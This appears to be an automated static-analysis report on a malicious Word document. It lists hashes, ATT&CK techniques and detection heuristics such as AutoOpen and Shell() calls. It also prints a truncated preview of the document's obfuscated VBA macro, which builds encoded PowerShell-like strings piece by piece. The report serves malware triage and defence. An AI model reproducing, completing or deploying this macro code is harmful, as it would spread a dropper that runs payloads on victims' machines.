Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1ae79bf1ce63c3ea…

MALICIOUS

Office (OLE)

92.5 KB Created: 2017-10-25 18:59:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 54efbcc792de7f325a25812386ee9b85 SHA-1: 17536131b0d33d998c6378ccdcdb5c364c2f00ba SHA-256: 1ae79bf1ce63c3ea8d73f051cecb53d806bb477919d98257c363cb22d50410d1
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro uses the Shell() function, which is a critical heuristic finding, indicating an attempt to execute arbitrary code. The presence of an AutoOpen macro and the ClamAV detection further support its malicious nature. The macro's obfuscated nature and truncated script prevent a more detailed analysis of its specific actions, but the intent is clearly to execute a payload.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 54777 bytes
SHA-256: bc111752b758f2cf5b1adbbfad68e345147ee5aca47f1deb48e55ebca91862d8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 92 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function stXatbwiK()
inoWOAXzp = "DW02CU58JPJB84MQOhWjEoRzkpqlnQQsooSZkclDpEUZPcqjHNwTkPTmPwlwiAbDtRMGkLblwTqzUrkIzGdZRwHZUfJoqpYNPFEJXFD1VLWT5H"
imkNb = Mid(inoWOAXzp, 17, 79)
QaLOjZz = imkNb
tWiZRtN = "UN14MEUHIV2T7fvULJQqtAdvFmiaiOzPfdMZKaGIdsCUrUDTZSXoDMfRTwiiKjCwMvMKTVJlCHNBwIDkiOBMqLLSwuGOrczuqGIvHtADImmwziTKszvwhpGBkuLYOutZJSKrAHdpNzDEYPTUbwVthBMAAHLNhcpNsNmjTbJkUFiklBcUarzRZzsIGKrswPKN"
owRNsA = Mid(tWiZRtN, 14, 177)
qfYPbG = owRNsA
sBkbBcURomO = "9SBY1INTG5EIIZ0WPVwRSviMhMiLwDMWQvfwwqSwVNNJbUNOiCaCmIwnCjlXqwkMjOtjkUZHCCwEhVkNwPdwdJkHwrtNFvGYdAZNbdiOcSzjMtGhzXYaTojZdlmtaMBHvYbjwWmVlOTKJAvDlMW1P"
anGHlLFZ = Mid(sBkbBcURomO, 18, 129)
uPzKGWws = anGHlLFZ
jcYTzwSV = "V2P7ZLLroK3HF55DETX"
mlQuGXZiVJB = Mid(jcYTzwSV, 6, 4)
oniFJZfQ = mlQuGXZiVJB
jDpVMCso = "FAlNXRYUSXMdzXXBlwKnmFCnuGuCVDMmsPIhnEZqAAMlbNsBRcfinczttwSRWWwPLakiPpNhXUmlsQLhOtktXdwQRPnpmHTiCzaBcKmbOwLSpMAdmlCclErhbUQACYuPAIjvpJEEHIfDFI3M44C17NEW81"
OpWnFliRUP = Mid(jDpVMCso, 3, 137)
DFoFBvu = OpWnFliRUP
juYmW = "DI52IodRfzPjwwPSQGIEM55BXZ5LD1SVYWRE18QO3"
YbVTknSXa = Mid(juYmW, 6, 9)
iQbUWL = YbVTknSXa
BGCpn = "YNI50J0Q16FYK8288QVALjudGbFiQtQRKFRWRVXjiWNTYbqhSQjISwZnjppupBZcsNBTAjrbdnwoVbFikYQAMHzNjdmcfctczlaKaWjiZFfizkRIjKJRlZPlOnnWwPvAtUrkAuENrhbHcUNvMisUTbqXVpwmjJmJJilfshHpGvaEwIJtZrKSXahRdTOK4TKL"
UVibjpVhs = Mid(BGCpn, 21, 168)
RTaYqKqCmT = UVibjpVhs
CTCkz = "WQ4RJH17VHFIX4H8NVBmzRjROmfMXrZmnUdlYjMHYoXQWuHqUHlPdJLPuCkzTjtaPAKBMjzqbwOKtPuTiorQGKIiJNrVvNoruzBVkFdlHunjuBWiHRUipdTFsfszsdvOIXQvNYjYLFILWbjHqMOisJBRdvdEMdtizYYXkaQihvTjUIiQvkJfPRWw1FYY8PWJM1"
TivWnVNonRu = Mid(CTCkz, 20, 165)
lcUnoaBJ = TivWnVNonRu
BYjlPnObLAN = "VYWSCWT2DF1SFBTPzXZdJoXkWiTwVvkpVIiLYSFIwAWb15IDIC53R2UXNDCXGZ"
iUkjH = Mid(BYjlPnObLAN, 16, 29)
KkbjvBwStL = iUkjH
tDthqohkWFH = "ZU30OIS4ELDMCBXSZSfaFOJCAFqswFsaItmZpDvShcFochzVcYSPvtKltVuKJPlpwjvLUjpVWNtcJVZTHVQZndiPiAjUJlIRrPrtmmAtiwsizicXwaCozLCTFfcUDVMlEbktdjhUUXqqkwQAYIXijUSjNYoGKjpMkHdXziuPthUcULiIOcvvzdCkIEjEsaKnhiGcSsCqNIpBzqLBqfriktOGFtPtBpXSXjuqFFpWZFipoAkSsfOMicDnD0DEYEQI52OZP"
owtGtUiz = Mid(tDthqohkWFH, 17, 232)
hjiKOt = owtGtUiz
pZrvHjb = "904D6GzSihuRzzihDfWCOXBmZNjCMrzUmjzTCZSzroQsJjKOMO4BY"
bJDqhM = Mid(pZrvHjb, 7, 41)
KXbvdFtD = bJDqhM
CUFQQjJnoO = "CBMRL05SOSNIKE9GFGD3"
VbOVzVioaHJ = Mid(CUFQQjJnoO, 12, 1)
UPTITizosK = VbOVzVioaHJ
End Function
Function lHqLLcmBz()
FtNzuwqaYWw = "X7QCZ8192OUZLJ2KJ8BG6MJ1ACcALQBTAFAAbABpAFQAJwBYACcALQUK53S"
nvltsqLTU = Mid(FtNzuwqaYWw, 24, 31)
wXjKREizcXY = nvltsqLTU
JTilnhzZ = "P41OC6PSEBOWKRHB3BC9TDYRJB6QCR3VBzAFAATABJAHQAJwBVACcAIAAtAFMAcABMAGkAdAAnAGMAJwAgAC0AcwBQAGwASQBUACcAUgAnAC0AUwBQAEwASQBUACcAYgAnAC0AcwBQAEwAaQB0ACcASwAnACAALQBzAHAATABJAFQAJwB0ACcALQBzAFAAbABpAHQAIAAnAE8AJwAtAFMAUABsAGkAdAAnADwAJwAgAC0AUwBQAEwAaQB0ACAAJwAlACcAIAB8ACAAJQAgAHsAKABbAGMASABBAHGL5"
QZzJnDB = Mid(JTilnhzZ, 33, 260)
ToHjSnBvl = QZzJnDB
LQfXLlzLfhO = "YIMwA2AHQAMQAxADIATwA5ADcAVQAxADEANgAlADEAMAA0AFgANQA5ACUAOQA4AGMAMQAxADQAJQAxADAAMQBLADkANwBjADEAMAA3AEsANQA5ADwAMQAyADUAWAA5ADkASwA5ADcAYwAxADEANgBPADkAOQBiADEAMAA0AEsAMQAyADMAJQAxADEAOQA8ADEA6PHRIUMRH1U8MDPDY3PEKP9577LFGF43"
OVTuHA = Mid(LQfXLlzLfhO, 3, 192)
NChXk = OVTuHA
RawrLuuu = "8SADcAYwAxADEANwB0ADEAMQAwAGIAMQAwADUAJQAxADEAMKE41GG9H"
bWMjiBl = Mid(RawrLuuu, 3, 45)
zitvWDbYw = bWMjiBl
zRUGJfuXX = "9W0C3V8KNRM5AOHOG8A4AE8AMQAxADAAUgA3ADcAWAA2ADUAWAAxADEANQA8ADYAOAAlADEAMAAyAE8ANAA3AFIANAA0AFUAMQAwADQAWAAxADEANgBSADEAMQA2AFIAMQAxADIATwA1ADgAdAA0ADcAdAA05S"
NcwOFim = Mid(zRUGJfuXX, 19, 138)
PtbiOHqPFlX = NcwOFim
sqhfN = "IC9XYI2IAwADkAdAA0ADcAUgAxADEAMgBVADgANABVADEAMAAxAEsAMQAwADgAWAA0ADcAdAA0ADQATwAxADAANABiADEAMQA2AFIAMQAxADYUWUXW5K6ZPP8QMVG9B2P97T40"
IpbwZ = Mid(sqhfN, 9, 101)
MijjiFVnvHA = IpbwZ
sbmnhXrjjKu = "TS6JYADMAOQBVADUAOQBjADEAMAAyAE8AMQAxADEAYwAxADEANABVADEAMAAxA
... (truncated)